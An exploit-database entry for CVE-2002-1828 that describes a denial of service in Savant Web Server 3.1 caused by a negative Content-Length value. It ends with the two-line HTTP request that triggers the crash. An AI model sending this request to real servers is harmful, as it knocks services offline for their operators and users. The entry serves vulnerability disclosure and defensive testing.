Savant Web Server 3.1 - Malformed Content-Length Denial of Service



EKU-ID: 27292 CVE: CVE-2002-1828;OSVDB-16592 OSVDB-ID:
Author: Auriemma Luigi Published: 2002-09-13 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home 


source: https://www.securityfocus.com/bid/5707/info

Savant Webserver is prone to a denial of service attack, when processing a negative integer located in a users Content-Length value.

It should be noted that versions below 3.1 may also be vulnerable to this issue.

GET / HTTP/1.0
Content-Length: -1